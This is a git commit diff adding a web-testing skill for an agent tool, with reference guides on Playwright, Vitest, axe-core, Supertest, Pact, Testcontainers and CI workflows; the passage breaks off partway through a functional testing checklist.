init
This commit is contained in:
99
.opencode/skills/web-testing/SKILL.md
Normal file
99
.opencode/skills/web-testing/SKILL.md
Normal file
@@ -0,0 +1,99 @@
|
||||
---
|
||||
name: ck:web-testing
|
||||
description: Web testing with Playwright, Vitest, k6. E2E/unit/integration/load/security/visual/a11y testing. Use for test automation, flakiness, Core Web Vitals, mobile gestures, cross-browser.
|
||||
license: Apache-2.0
|
||||
argument-hint: "[test-type] [target]"
|
||||
metadata:
|
||||
author: claudekit
|
||||
version: "3.0.0"
|
||||
---
|
||||
|
||||
# Web Testing Skill
|
||||
|
||||
Comprehensive web testing: unit, integration, E2E, load, security, visual regression, accessibility.
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
npx vitest run # Unit tests
|
||||
npx playwright test # E2E tests
|
||||
npx playwright test --ui # E2E with UI
|
||||
k6 run load-test.js # Load tests
|
||||
npx @axe-core/cli https://example.com # Accessibility
|
||||
npx lighthouse https://example.com # Performance
|
||||
```
|
||||
|
||||
## Testing Strategy (Choose Your Model)
|
||||
|
||||
| Model | Structure | Best For |
|
||||
|-------|-----------|----------|
|
||||
| Pyramid | Unit 70% > Integration 20% > E2E 10% | Monoliths |
|
||||
| Trophy | Integration-heavy | Modern SPAs |
|
||||
| Honeycomb | Contract-centric | Microservices |
|
||||
|
||||
→ `./references/testing-pyramid-strategy.md`
|
||||
|
||||
## Reference Documentation
|
||||
|
||||
### Core Testing
|
||||
- `./references/unit-integration-testing.md` - Vitest, browser mode, AAA
|
||||
- `./references/e2e-testing-playwright.md` - Fixtures, sharding, selectors
|
||||
- `./references/playwright-component-testing.md` - CT patterns (production-ready)
|
||||
- `./references/component-testing.md` - React/Vue/Angular patterns
|
||||
|
||||
### Test Infrastructure
|
||||
- `./references/test-data-management.md` - Factories, fixtures, seeding
|
||||
- `./references/database-testing.md` - Testcontainers, transactions
|
||||
- `./references/ci-cd-testing-workflows.md` - GitHub Actions, sharding
|
||||
- `./references/contract-testing.md` - Pact, MSW patterns
|
||||
|
||||
### Cross-Browser & Mobile
|
||||
- `./references/cross-browser-checklist.md` - Browser/device matrix
|
||||
- `./references/mobile-gesture-testing.md` - Touch, swipe, orientation
|
||||
|
||||
### Performance & Quality
|
||||
- `./references/performance-core-web-vitals.md` - LCP/CLS/INP, Lighthouse CI
|
||||
- `./references/visual-regression.md` - Screenshot comparison
|
||||
- `./references/test-flakiness-mitigation.md` - Stability strategies
|
||||
|
||||
### Accessibility & Security
|
||||
- `./references/accessibility-testing.md` - WCAG, axe-core
|
||||
- `./references/security-testing-overview.md` - OWASP Top 10
|
||||
- `./references/security-checklists.md` - Auth, API, headers
|
||||
|
||||
### API & Load
|
||||
- `./references/api-testing.md` - Supertest, GraphQL
|
||||
- `./references/load-testing-k6.md` - k6 patterns
|
||||
|
||||
### Checklists
|
||||
- `./references/pre-release-checklist.md` - Complete release checklist
|
||||
- `./references/functional-testing-checklist.md` - Feature testing
|
||||
|
||||
## Scripts
|
||||
|
||||
### Initialize Playwright Project
|
||||
```bash
|
||||
node ./scripts/init-playwright.js [--ct] [--dir <path>]
|
||||
```
|
||||
Creates best-practice Playwright setup: config, fixtures, example tests.
|
||||
|
||||
### Analyze Test Results
|
||||
```bash
|
||||
node ./scripts/analyze-test-results.js \
|
||||
--playwright test-results/results.json \
|
||||
--vitest coverage/vitest.json \
|
||||
--output markdown
|
||||
```
|
||||
Parses Playwright/Vitest/JUnit results into unified summary.
|
||||
|
||||
## CI/CD Integration
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
test:
|
||||
steps:
|
||||
- run: npm run test:unit # Gate 1: Fast fail
|
||||
- run: npm run test:e2e # Gate 2: After unit pass
|
||||
- run: npm run test:a11y # Accessibility
|
||||
- run: npx lhci autorun # Performance
|
||||
```
|
||||
@@ -0,0 +1,84 @@
|
||||
# Accessibility Testing (a11y)
|
||||
|
||||
## WCAG 2.1 AA Checklist
|
||||
|
||||
### Perceivable
|
||||
- [ ] Images have meaningful alt text
|
||||
- [ ] Color not sole conveyance method
|
||||
- [ ] Contrast ratio 4.5:1 (text)
|
||||
- [ ] Text resizable to 200%
|
||||
|
||||
### Operable
|
||||
- [ ] All functions keyboard accessible
|
||||
- [ ] Visible focus indicators
|
||||
- [ ] Skip navigation links
|
||||
- [ ] No keyboard traps
|
||||
|
||||
### Understandable
|
||||
- [ ] Language attribute set
|
||||
- [ ] Labels for form inputs
|
||||
- [ ] Error messages clear
|
||||
|
||||
### Robust
|
||||
- [ ] Valid HTML
|
||||
- [ ] ARIA landmarks correct
|
||||
|
||||
## Playwright + axe-core
|
||||
|
||||
```typescript
|
||||
import { test, expect } from '@playwright/test';
|
||||
import AxeBuilder from '@axe-core/playwright';
|
||||
|
||||
test('page is accessible', async ({ page }) => {
|
||||
await page.goto('http://localhost:3000');
|
||||
const results = await new AxeBuilder({ page }).analyze();
|
||||
expect(results.violations).toEqual([]);
|
||||
});
|
||||
|
||||
test('WCAG AA compliant', async ({ page }) => {
|
||||
await page.goto('http://localhost:3000');
|
||||
const results = await new AxeBuilder({ page })
|
||||
.withTags(['wcag2aa'])
|
||||
.analyze();
|
||||
expect(results.violations).toEqual([]);
|
||||
});
|
||||
```
|
||||
|
||||
## Component Testing (Jest)
|
||||
|
||||
```typescript
|
||||
import { axe, toHaveNoViolations } from 'jest-axe';
|
||||
expect.extend(toHaveNoViolations);
|
||||
|
||||
test('Button accessible', async () => {
|
||||
const { container } = render(<Button>Click</Button>);
|
||||
expect(await axe(container)).toHaveNoViolations();
|
||||
});
|
||||
```
|
||||
|
||||
## Manual Testing
|
||||
|
||||
- [ ] Tab through all interactive elements
|
||||
- [ ] Shift+Tab navigates backward
|
||||
- [ ] Enter/Space activates buttons
|
||||
- [ ] Escape closes modals
|
||||
- [ ] Screen reader announces content
|
||||
|
||||
## CLI Tools
|
||||
|
||||
```bash
|
||||
npx @axe-core/cli https://example.com
|
||||
npx lighthouse https://example.com --only-categories=accessibility
|
||||
npx pa11y https://example.com
|
||||
```
|
||||
|
||||
## CI Integration
|
||||
|
||||
```yaml
|
||||
- name: Accessibility Tests
|
||||
run: npx playwright test --grep @a11y
|
||||
```
|
||||
|
||||
## Resources
|
||||
- axe rules: https://dequeuniversity.com/rules/axe/
|
||||
- WCAG checklist: https://www.a11yproject.com/checklist/
|
||||
78
.opencode/skills/web-testing/references/api-testing.md
Normal file
78
.opencode/skills/web-testing/references/api-testing.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# API Testing
|
||||
|
||||
## Supertest (Jest/Vitest)
|
||||
|
||||
```javascript
|
||||
import request from 'supertest';
|
||||
import app from './app';
|
||||
|
||||
describe('POST /users', () => {
|
||||
it('creates user with valid data', async () => {
|
||||
const res = await request(app)
|
||||
.post('/users')
|
||||
.send({ email: 'test@example.com', password: 'secret123' });
|
||||
|
||||
expect(res.status).toBe(201);
|
||||
expect(res.body.id).toBeDefined();
|
||||
});
|
||||
|
||||
it('rejects duplicate email', async () => {
|
||||
await request(app).post('/users').send({ email: 'dup@example.com' });
|
||||
const res = await request(app).post('/users').send({ email: 'dup@example.com' });
|
||||
expect(res.status).toBe(409);
|
||||
});
|
||||
|
||||
it('requires authentication', async () => {
|
||||
const res = await request(app).get('/protected');
|
||||
expect(res.status).toBe(401);
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## API Checklist
|
||||
|
||||
### Authentication
|
||||
- [ ] Valid credentials return 200 + token
|
||||
- [ ] Invalid credentials return 401
|
||||
- [ ] Missing/expired token returns 401
|
||||
|
||||
### Authorization
|
||||
- [ ] User accesses own resources
|
||||
- [ ] Cannot access others' resources (403)
|
||||
|
||||
### Input Validation
|
||||
- [ ] Missing required fields → 400
|
||||
- [ ] Invalid types → 400
|
||||
- [ ] SQL/XSS payloads rejected
|
||||
|
||||
### Response
|
||||
- [ ] Correct status codes
|
||||
- [ ] Schema matches docs
|
||||
- [ ] Error messages helpful
|
||||
|
||||
### Rate Limiting
|
||||
- [ ] Rate limit headers present
|
||||
- [ ] 429 when limit exceeded
|
||||
|
||||
## Postman Tests
|
||||
|
||||
```javascript
|
||||
pm.test("Status 200", () => pm.response.to.have.status(200));
|
||||
pm.test("Has user ID", () => {
|
||||
pm.expect(pm.response.json().id).to.be.a('number');
|
||||
});
|
||||
```
|
||||
|
||||
## GraphQL Testing
|
||||
|
||||
```typescript
|
||||
const query = `query { users { id email } }`;
|
||||
const res = await request(app).post('/graphql').send({ query });
|
||||
expect(res.body.data.users).toHaveLength(2);
|
||||
```
|
||||
|
||||
## Contract Testing
|
||||
|
||||
```bash
|
||||
npx dredd api.yaml http://localhost:3000
|
||||
```
|
||||
@@ -0,0 +1,121 @@
|
||||
# CI/CD Testing Workflows
|
||||
|
||||
## GitHub Actions - Complete Workflow
|
||||
|
||||
```yaml
|
||||
name: Test Suite
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
unit-tests:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with: { node-version: 20, cache: 'npm' }
|
||||
- run: npm ci
|
||||
- run: npm run test:unit -- --coverage
|
||||
- uses: actions/upload-artifact@v4
|
||||
with: { name: coverage, path: coverage/ }
|
||||
|
||||
e2e-tests:
|
||||
needs: unit-tests
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
shard: [1, 2, 3, 4]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with: { node-version: 20, cache: 'npm' }
|
||||
- run: npm ci
|
||||
- run: npx playwright install --with-deps
|
||||
- run: npx playwright test --shard=${{ matrix.shard }}/4
|
||||
- uses: actions/upload-artifact@v4
|
||||
if: failure()
|
||||
with:
|
||||
name: playwright-report-${{ matrix.shard }}
|
||||
path: playwright-report/
|
||||
```
|
||||
|
||||
## Test Splitting
|
||||
|
||||
```bash
|
||||
# By shard (equal files)
|
||||
npx playwright test --shard=1/4
|
||||
|
||||
# By timing (Knapsack)
|
||||
- uses: chaosaffe/split-tests@v1
|
||||
with:
|
||||
glob: 'tests/**/*.spec.ts'
|
||||
split-total: ${{ matrix.shard }}
|
||||
```
|
||||
|
||||
## Caching
|
||||
|
||||
```yaml
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
~/.npm
|
||||
~/.cache/ms-playwright
|
||||
key: ${{ runner.os }}-${{ hashFiles('package-lock.json') }}
|
||||
```
|
||||
|
||||
## Flaky Test Management
|
||||
|
||||
```yaml
|
||||
- run: npx playwright test --retries=2
|
||||
- run: npx playwright test --grep-invert @flaky # Quarantine
|
||||
```
|
||||
|
||||
## Performance & Security Gates
|
||||
|
||||
```yaml
|
||||
- run: npm install -g @lhci/cli && lhci autorun
|
||||
- run: npm audit --audit-level=high
|
||||
- uses: github/codeql-action/analyze@v3
|
||||
```
|
||||
|
||||
## Merge Reports
|
||||
|
||||
```yaml
|
||||
merge-reports:
|
||||
needs: e2e-tests
|
||||
steps:
|
||||
- uses: actions/download-artifact@v4
|
||||
with: { pattern: playwright-report-*, merge-multiple: true }
|
||||
- run: npx playwright merge-reports ./all-reports
|
||||
```
|
||||
|
||||
## GitLab CI
|
||||
|
||||
```yaml
|
||||
stages: [test, e2e]
|
||||
|
||||
unit:
|
||||
stage: test
|
||||
script: [npm ci, npm run test:unit]
|
||||
|
||||
e2e:
|
||||
stage: e2e
|
||||
parallel: 4
|
||||
script:
|
||||
- npm ci && npx playwright install --with-deps
|
||||
- npx playwright test --shard=$CI_NODE_INDEX/$CI_NODE_TOTAL
|
||||
artifacts:
|
||||
when: on_failure
|
||||
paths: [playwright-report/]
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
- **Fail fast:** Unit tests before E2E
|
||||
- **Parallelism:** Shard E2E across jobs
|
||||
- **Cache:** npm, Playwright browsers
|
||||
- **Artifacts on failure:** Reports for debugging
|
||||
- **Security gates:** npm audit, SAST before merge
|
||||
94
.opencode/skills/web-testing/references/component-testing.md
Normal file
94
.opencode/skills/web-testing/references/component-testing.md
Normal file
@@ -0,0 +1,94 @@
|
||||
# Component Testing
|
||||
|
||||
## Philosophy: Test Behavior, Not Implementation
|
||||
|
||||
```javascript
|
||||
// BAD: Tests internals
|
||||
expect(component.state.isOpen).toBe(true);
|
||||
|
||||
// GOOD: Tests user-visible behavior
|
||||
await userEvent.click(getByRole('button', { name: 'Open' }));
|
||||
expect(getByRole('dialog')).toBeVisible();
|
||||
```
|
||||
|
||||
## React Testing Library
|
||||
|
||||
```javascript
|
||||
import { render, screen } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
|
||||
test('form submission', async () => {
|
||||
render(<LoginForm />);
|
||||
await userEvent.type(screen.getByLabelText('Email'), 'test@example.com');
|
||||
await userEvent.type(screen.getByLabelText('Password'), 'secret123');
|
||||
await userEvent.click(screen.getByRole('button', { name: /login/i }));
|
||||
expect(screen.getByText('Login successful')).toBeInTheDocument();
|
||||
});
|
||||
```
|
||||
|
||||
## Vue Test Utils
|
||||
|
||||
```javascript
|
||||
import { mount } from '@vue/test-utils';
|
||||
|
||||
test('form submission', async () => {
|
||||
const wrapper = mount(LoginForm);
|
||||
await wrapper.find('input[type="email"]').setValue('test@example.com');
|
||||
await wrapper.find('button').trigger('click');
|
||||
expect(wrapper.text()).toContain('Login successful');
|
||||
});
|
||||
```
|
||||
|
||||
## Angular Testing Library
|
||||
|
||||
```typescript
|
||||
import { render, screen } from '@testing-library/angular';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
|
||||
test('form submission', async () => {
|
||||
await render(LoginFormComponent);
|
||||
const user = userEvent.setup();
|
||||
await user.type(screen.getByLabelText('Email'), 'test@example.com');
|
||||
await user.click(screen.getByRole('button', { name: /login/i }));
|
||||
expect(screen.getByText('Login successful')).toBeInTheDocument();
|
||||
});
|
||||
```
|
||||
|
||||
## Query Priority (Accessibility-First)
|
||||
|
||||
1. `getByRole` - buttons, links, headings
|
||||
2. `getByLabelText` - form fields
|
||||
3. `getByPlaceholderText` - inputs
|
||||
4. `getByText` - non-interactive elements
|
||||
5. `getByTestId` - last resort
|
||||
|
||||
## Async Patterns
|
||||
|
||||
```javascript
|
||||
await screen.findByText('Loaded');
|
||||
await waitForElementToBeRemoved(() => screen.queryByText('Loading'));
|
||||
await waitFor(() => expect(screen.getByText('Done')).toBeInTheDocument());
|
||||
```
|
||||
|
||||
## Mocking
|
||||
|
||||
```javascript
|
||||
vi.mock('./api', () => ({
|
||||
fetchUser: vi.fn().mockResolvedValue({ name: 'John' })
|
||||
}));
|
||||
|
||||
render(
|
||||
<UserContext.Provider value={{ user: mockUser }}>
|
||||
<Profile />
|
||||
</UserContext.Provider>
|
||||
);
|
||||
```
|
||||
|
||||
## Vitest Browser Mode
|
||||
|
||||
```typescript
|
||||
// vitest.config.ts - more accurate than jsdom
|
||||
export default defineConfig({
|
||||
test: { browser: { enabled: true, name: 'chromium', provider: 'playwright' } },
|
||||
});
|
||||
```
|
||||
146
.opencode/skills/web-testing/references/contract-testing.md
Normal file
146
.opencode/skills/web-testing/references/contract-testing.md
Normal file
@@ -0,0 +1,146 @@
|
||||
# Contract Testing
|
||||
|
||||
## When to Use
|
||||
|
||||
- Microservices communicating via HTTP/REST
|
||||
- Frontend consuming backend APIs
|
||||
- Multiple teams working on separate services
|
||||
- Preventing integration failures at runtime
|
||||
|
||||
## Pact (Consumer-Driven Contracts)
|
||||
|
||||
### Consumer Side
|
||||
|
||||
```typescript
|
||||
import { Pact } from '@pact-foundation/pact';
|
||||
|
||||
const provider = new Pact({
|
||||
consumer: 'Frontend',
|
||||
provider: 'UserService',
|
||||
});
|
||||
|
||||
describe('User API', () => {
|
||||
beforeAll(() => provider.setup());
|
||||
afterEach(() => provider.verify());
|
||||
afterAll(() => provider.finalize());
|
||||
|
||||
it('gets user by id', async () => {
|
||||
await provider.addInteraction({
|
||||
state: 'user 123 exists',
|
||||
uponReceiving: 'request for user 123',
|
||||
withRequest: {
|
||||
method: 'GET',
|
||||
path: '/users/123',
|
||||
},
|
||||
willRespondWith: {
|
||||
status: 200,
|
||||
body: {
|
||||
id: '123',
|
||||
name: 'John Doe',
|
||||
email: 'john@example.com',
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const user = await userClient.getUser('123');
|
||||
expect(user.name).toBe('John Doe');
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### Provider Side
|
||||
|
||||
```typescript
|
||||
import { Verifier } from '@pact-foundation/pact';
|
||||
|
||||
describe('Pact Verification', () => {
|
||||
it('validates consumer expectations', async () => {
|
||||
await new Verifier({
|
||||
providerBaseUrl: 'http://localhost:3000',
|
||||
pactBrokerUrl: process.env.PACT_BROKER_URL,
|
||||
provider: 'UserService',
|
||||
providerVersion: process.env.GIT_SHA,
|
||||
stateHandlers: {
|
||||
'user 123 exists': async () => {
|
||||
await db.users.insert({ id: '123', name: 'John Doe' });
|
||||
},
|
||||
},
|
||||
}).verifyProvider();
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## MSW (Mock Service Worker)
|
||||
|
||||
### Setup
|
||||
|
||||
```typescript
|
||||
import { setupServer } from 'msw/node';
|
||||
import { http, HttpResponse } from 'msw';
|
||||
|
||||
const handlers = [
|
||||
http.get('/api/users/:id', ({ params }) => {
|
||||
return HttpResponse.json({
|
||||
id: params.id,
|
||||
name: 'John Doe',
|
||||
});
|
||||
}),
|
||||
];
|
||||
|
||||
export const server = setupServer(...handlers);
|
||||
|
||||
// In test setup
|
||||
beforeAll(() => server.listen());
|
||||
afterEach(() => server.resetHandlers());
|
||||
afterAll(() => server.close());
|
||||
```
|
||||
|
||||
### Per-Test Override
|
||||
|
||||
```typescript
|
||||
it('handles server error', async () => {
|
||||
server.use(
|
||||
http.get('/api/users/:id', () => {
|
||||
return HttpResponse.json({ error: 'Not found' }, { status: 404 });
|
||||
})
|
||||
);
|
||||
|
||||
await expect(userClient.getUser('123')).rejects.toThrow();
|
||||
});
|
||||
```
|
||||
|
||||
## Pact + MSW Combined
|
||||
|
||||
```typescript
|
||||
// Use MSW to simulate provider during Pact consumer tests
|
||||
const pactMswHandler = http.get('/api/users/:id', () => {
|
||||
return HttpResponse.json(expectedPactResponse);
|
||||
});
|
||||
```
|
||||
|
||||
## CI Integration
|
||||
|
||||
```yaml
|
||||
# Consumer publishes contract
|
||||
- run: npx pact-broker publish ./pacts
|
||||
--consumer-app-version=${{ github.sha }}
|
||||
--broker-base-url=${{ secrets.PACT_BROKER_URL }}
|
||||
|
||||
# Provider verifies
|
||||
- run: npm run test:pact:verify
|
||||
--provider-app-version=${{ github.sha }}
|
||||
|
||||
# Can-I-Deploy check
|
||||
- run: npx pact-broker can-i-deploy
|
||||
--pacticipant=Frontend
|
||||
--version=${{ github.sha }}
|
||||
--to-environment=production
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
- **Consumer-first:** Consumers define expectations
|
||||
- **Version contracts:** Tie to git SHA
|
||||
- **Pact Broker:** Central contract management
|
||||
- **can-i-deploy:** Gate deployments on contract verification
|
||||
- **State handlers:** Prepare provider data for each scenario
|
||||
@@ -0,0 +1,72 @@
|
||||
# Cross-Browser & Responsive Testing
|
||||
|
||||
## Browser Coverage
|
||||
|
||||
| Browser | Priority |
|
||||
|---------|----------|
|
||||
| Chrome | Mandatory |
|
||||
| Safari | Mandatory (mobile) |
|
||||
| Edge | Mandatory |
|
||||
| Firefox | Recommended |
|
||||
|
||||
## Device Breakpoints
|
||||
|
||||
| Device | Viewport | Priority |
|
||||
|--------|----------|----------|
|
||||
| Mobile S | 320px | High |
|
||||
| Mobile M | 375px | High |
|
||||
| Tablet | 768px | High |
|
||||
| Laptop | 1024px | High |
|
||||
| Desktop | 1440px | High |
|
||||
|
||||
## Playwright Config
|
||||
|
||||
```typescript
|
||||
import { devices } from '@playwright/test';
|
||||
|
||||
export default defineConfig({
|
||||
projects: [
|
||||
{ name: 'chromium', use: { ...devices['Desktop Chrome'] } },
|
||||
{ name: 'firefox', use: { ...devices['Desktop Firefox'] } },
|
||||
{ name: 'webkit', use: { ...devices['Desktop Safari'] } },
|
||||
{ name: 'mobile-chrome', use: { ...devices['Pixel 5'] } },
|
||||
{ name: 'mobile-safari', use: { ...devices['iPhone 12'] } },
|
||||
],
|
||||
});
|
||||
```
|
||||
|
||||
## Responsive Checklist
|
||||
|
||||
### Layout
|
||||
- [ ] Content reflows at all breakpoints
|
||||
- [ ] No horizontal scrolling on mobile
|
||||
- [ ] Navigation transforms to mobile menu
|
||||
- [ ] Touch targets 44px minimum
|
||||
|
||||
### Forms
|
||||
- [ ] Input fields usable on mobile
|
||||
- [ ] Touch keyboard doesn't obscure inputs
|
||||
- [ ] Date pickers mobile-friendly
|
||||
|
||||
### Interactive
|
||||
- [ ] Hover states have touch alternatives
|
||||
- [ ] Modals size appropriate per device
|
||||
|
||||
## Browser-Specific Issues
|
||||
|
||||
- **Safari**: flexbox gap, date input, WebP
|
||||
- **Firefox**: CSS grid subgrid, custom scrollbars
|
||||
- **Edge**: Same as Chromium (verify anyway)
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npx playwright test --project=chromium
|
||||
npx playwright test --project=mobile-chrome --project=mobile-safari
|
||||
```
|
||||
|
||||
## Testing Services
|
||||
|
||||
- **BrowserStack**: Real device cloud
|
||||
- **Sauce Labs**: Cross-browser cloud
|
||||
- **Playwright**: Local emulation (free)
|
||||
139
.opencode/skills/web-testing/references/database-testing.md
Normal file
139
.opencode/skills/web-testing/references/database-testing.md
Normal file
@@ -0,0 +1,139 @@
|
||||
# Database Testing
|
||||
|
||||
## Testcontainers (Real Database Instances)
|
||||
|
||||
### Setup
|
||||
|
||||
```bash
|
||||
npm install -D @testcontainers/postgresql
|
||||
# or
|
||||
npm install -D @testcontainers/mongodb
|
||||
```
|
||||
|
||||
### PostgreSQL Example
|
||||
|
||||
```typescript
|
||||
import { PostgreSqlContainer } from '@testcontainers/postgresql';
|
||||
import { Pool } from 'pg';
|
||||
|
||||
describe('User Repository', () => {
|
||||
let container: PostgreSqlContainer;
|
||||
let pool: Pool;
|
||||
|
||||
beforeAll(async () => {
|
||||
container = await new PostgreSqlContainer()
|
||||
.withDatabase('testdb')
|
||||
.start();
|
||||
|
||||
pool = new Pool({ connectionString: container.getConnectionUri() });
|
||||
await runMigrations(pool);
|
||||
}, 60000); // 60s timeout for container start
|
||||
|
||||
afterAll(async () => {
|
||||
await pool.end();
|
||||
await container.stop();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await pool.query('TRUNCATE users RESTART IDENTITY CASCADE');
|
||||
});
|
||||
|
||||
it('creates user', async () => {
|
||||
const repo = new UserRepository(pool);
|
||||
const user = await repo.create({ email: 'test@example.com' });
|
||||
expect(user.id).toBeDefined();
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### MongoDB Example
|
||||
|
||||
```typescript
|
||||
import { MongoDBContainer } from '@testcontainers/mongodb';
|
||||
import mongoose from 'mongoose';
|
||||
|
||||
describe('User Repository', () => {
|
||||
let container: MongoDBContainer;
|
||||
|
||||
beforeAll(async () => {
|
||||
container = await new MongoDBContainer().start();
|
||||
await mongoose.connect(container.getConnectionString(), {
|
||||
directConnection: true,
|
||||
});
|
||||
}, 60000);
|
||||
|
||||
afterAll(async () => {
|
||||
await mongoose.disconnect();
|
||||
await container.stop();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await mongoose.connection.dropDatabase();
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Transaction Rollback Pattern
|
||||
|
||||
```typescript
|
||||
describe('User Service', () => {
|
||||
let transaction: Transaction;
|
||||
|
||||
beforeEach(async () => {
|
||||
transaction = await db.transaction();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await transaction.rollback(); // Always rollback
|
||||
});
|
||||
|
||||
it('creates user within transaction', async () => {
|
||||
const service = new UserService(transaction);
|
||||
await service.create({ email: 'test@example.com' });
|
||||
// Transaction rolls back - no cleanup needed
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Playwright Database Fixture
|
||||
|
||||
```typescript
|
||||
// fixtures/db.ts
|
||||
import { test as base } from '@playwright/test';
|
||||
import { PostgreSqlContainer } from '@testcontainers/postgresql';
|
||||
|
||||
export const test = base.extend<{ db: Pool }>({
|
||||
db: [async ({}, use, testInfo) => {
|
||||
const container = await new PostgreSqlContainer().start();
|
||||
const pool = new Pool({ connectionString: container.getConnectionUri() });
|
||||
|
||||
// Seed per-worker data
|
||||
await seedData(pool, testInfo.workerIndex);
|
||||
|
||||
await use(pool);
|
||||
|
||||
await pool.end();
|
||||
await container.stop();
|
||||
}, { scope: 'worker' }]
|
||||
});
|
||||
```
|
||||
|
||||
## In-Memory Alternatives
|
||||
|
||||
```typescript
|
||||
// SQLite in-memory (faster, less realistic)
|
||||
const db = new Database(':memory:');
|
||||
|
||||
// PGlite (Postgres in browser/Node)
|
||||
import { PGlite } from '@electric-sql/pglite';
|
||||
const db = new PGlite();
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
- **Real DB in CI:** Use Testcontainers for high fidelity
|
||||
- **In-memory locally:** Faster iteration during development
|
||||
- **Isolation:** Worker-scoped containers for parallel tests
|
||||
- **Migrations:** Always run migrations before tests
|
||||
- **Cleanup:** Truncate after each test, stop containers after all
|
||||
- **Timeouts:** Increase timeout for container startup (60s)
|
||||
@@ -0,0 +1,119 @@
|
||||
# E2E Testing with Playwright
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
npm init playwright@latest
|
||||
npx playwright install
|
||||
```
|
||||
|
||||
## Test Structure
|
||||
|
||||
```typescript
|
||||
import { test, expect } from '@playwright/test';
|
||||
|
||||
test.describe('User Login', () => {
|
||||
test('should login successfully', async ({ page }) => {
|
||||
await page.goto('/login');
|
||||
await page.getByLabel('Email').fill('user@example.com');
|
||||
await page.getByLabel('Password').fill('password123');
|
||||
await page.getByRole('button', { name: 'Login' }).click();
|
||||
await expect(page).toHaveURL('/dashboard');
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
## Selector Priority (Accessibility-First)
|
||||
|
||||
1. `getByRole('button', { name: 'Submit' })` - Most preferred
|
||||
2. `getByLabel('Email')` - Form fields
|
||||
3. `getByPlaceholderText('Search')` - Inputs
|
||||
4. `getByText('Welcome')` - Static text
|
||||
5. `getByTestId('submit-btn')` - Last resort
|
||||
|
||||
## Advanced Fixtures
|
||||
|
||||
### Worker-Scoped Authentication
|
||||
|
||||
```typescript
|
||||
// fixtures/auth.ts
|
||||
export const test = baseTest.extend<{ authPage: Page }>({
|
||||
authPage: [async ({ browser, request }, use, testInfo) => {
|
||||
// API login per worker
|
||||
const res = await request.post('/api/auth', {
|
||||
data: { email: 'test@example.com', password: 'pass' }
|
||||
});
|
||||
const { token } = await res.json();
|
||||
|
||||
const context = await browser.newContext();
|
||||
await context.addCookies([
|
||||
{ name: 'token', value: token, domain: 'localhost', path: '/' }
|
||||
]);
|
||||
const page = await context.newPage();
|
||||
await use(page);
|
||||
await context.close();
|
||||
}, { scope: 'worker' }]
|
||||
});
|
||||
```
|
||||
|
||||
### Database Seeding Fixture
|
||||
|
||||
```typescript
|
||||
// See ./database-testing.md for Testcontainers patterns
|
||||
```
|
||||
|
||||
## Network Patterns
|
||||
|
||||
### Wait for API
|
||||
|
||||
```typescript
|
||||
const responsePromise = page.waitForResponse('**/api/users');
|
||||
await page.click('button:text("Load")');
|
||||
await responsePromise;
|
||||
```
|
||||
|
||||
### Mock API
|
||||
|
||||
```typescript
|
||||
await page.route('**/api/users', route =>
|
||||
route.fulfill({ status: 200, body: JSON.stringify([]) })
|
||||
);
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
```typescript
|
||||
export default defineConfig({
|
||||
workers: process.env.CI ? 1 : undefined,
|
||||
fullyParallel: true,
|
||||
retries: process.env.CI ? 2 : 0,
|
||||
use: {
|
||||
screenshot: 'only-on-failure',
|
||||
trace: 'on-first-retry',
|
||||
video: 'retain-on-failure',
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
## Sharding (CI)
|
||||
|
||||
```bash
|
||||
npx playwright test --shard=1/4
|
||||
npx playwright test --shard=2/4
|
||||
```
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
npx playwright test # Run all
|
||||
npx playwright test --ui # UI mode
|
||||
npx playwright test --project=chromium # Specific browser
|
||||
npx playwright codegen https://example.com # Generate
|
||||
npx playwright show-report # View report
|
||||
```
|
||||
|
||||
## Related
|
||||
|
||||
- `./playwright-component-testing.md` - CT patterns
|
||||
- `./playwright-fixtures-advanced.md` - Complex fixtures
|
||||
- `./database-testing.md` - DB fixtures
|
||||
@@ -0,0 +1,88 @@
|
||||
# Functional Testing Checklist
|
||||
|
||||
## Core Features
|
||||
|
||||
- [ ] Primary user workflows execute end-to-end
|
||||
- [ ] CRUD operations work (create, read, update, delete)
|
||||
- [ ] Error states handled gracefully
|
||||
- [ ] Validation rules enforced (email, phone, dates)
|
||||
- [ ] Search/filter functions correctly
|
||||
- [ ] Sorting works in both directions
|
||||
- [ ] Pagination displays correct data
|
||||
|
||||
## User Workflows
|
||||
|
||||
- [ ] Signup flow completes successfully
|
||||
- [ ] Login flow works with valid credentials
|
||||
- [ ] Password reset flow sends email and resets
|
||||
- [ ] Multi-step forms retain data between steps
|
||||
- [ ] Data persists after page refresh/navigation
|
||||
- [ ] Logout clears session completely
|
||||
- [ ] Deep links work correctly
|
||||
|
||||
## Business Logic
|
